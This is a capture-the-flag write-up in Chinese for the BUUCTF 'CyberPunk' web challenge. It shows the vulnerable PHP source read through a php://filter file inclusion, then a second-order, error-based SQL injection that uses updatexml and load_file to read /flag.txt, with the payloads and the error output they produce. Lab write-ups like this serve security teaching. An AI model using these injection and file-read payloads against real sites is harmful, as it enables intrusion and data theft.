BUUCTF [CISCN2019 华北赛区 Day1 Web5] CyberPunk

原创

Senimo_ 于 2020-12-16 22:49:44 发布

分类专栏： BUUCTF WEB Writeup 文章标签： BUUCTF CISCN2019 华北赛区 CyberPunk writeup CTF

本文链接：https://blog.csdn.net/weixin_44037296/article/details/111282993

BUUCTF [CISCN2019 华北赛区 Day1 Web5] CyberPunk

考点：

1. **php伪协议**读取文件
2. 源码审计
3. 报错注入
4. `LOAD_FILE()`函数将文件内容读取成字符串，最大`32`位

启动环境：


2077发售了,不来份实体典藏版吗?
CYBERPUNK
2077
提交订单
姓名:
电话:
地址:
我正是送钱之人
https://blog.csdn.net/weixin_44037296

首先进行题目信息收集，在网页源代码中得到提示：

```
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->
```

应该可以在此读取文件，收集存在的页面：

```
// 主页
index.php
// 我要查订单
<a href="./search.php">
// 我要修改收货地址
<a href="./change.php">
// 我不想要了
<a href="./delete.php">

<form role="form" action="./confirm.php" method="post">
```

使用**php伪协议**读取这些页面的源码：

```
?file=php://filter/convert.base64-encode/resource=xxx.php
```

几个页面的源码（省略掉HTML）

index.php：

```
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>
```

search.php

```php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>
";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
```

change.php

```php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=
".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
```

delete.php

```php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
```

confirm.php

```php
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>
```

通过对这几个页面的分析，做了很全的SQL注入防护，但在`change.php`页面中，存在如下的可疑点：

```php
$user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }
```

其中传入了三个变量：`$user_name`、`$address`、`$phone`
其中对`$user_name`、`$phone`都做了`preg_match()`黑名单处理，`$address`只做了`addslashes()`处理，`addslashes()`函数返回在预定义字符之前添加反斜杠的字符串。

在`$user_name`和`$phone`都没问题后，`$address`也会被存入数据库，构造相应的payload实现二次注入，也就是在第二次修改时触发payload

该段**SQL语句**：

```
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
```

在修改时，将旧地址作为`old_address`字段重新存入。

```
if(!$result) {
    echo 'error';
    print_r($db->error);
    exit;
}
```

因为其会回显数据库报错信息，所以采用报错注入方式，通过`LOAD_FILE()`函数将文件内容读取成字符串，构造payload：

```
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
```

`updatexml()`具有查询功能 并且会在`xpath`处查询，将语法构造错误，就会将查询的结果以报错的形式显示出来，使用`concat()`函数连接`load_file()`返回的字符串。

payload逻辑：

首先存入payload

通过修改，payload会拼接在`old_address`后

实现语句的执行

---

errorXPATH syntax error: '~flag{3e8bace8-90ef-45cb-9347-9~'

采用报错注入的方式，`updatexml`只能回显`32`位，需要分两次读取，第二次payload：

```
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60)),0x7e),1)#
```

步骤与之前相同，执行后得到后半部分的flag：

```
errorXPATH syntax error: '~9a582a473f1e} ~'
```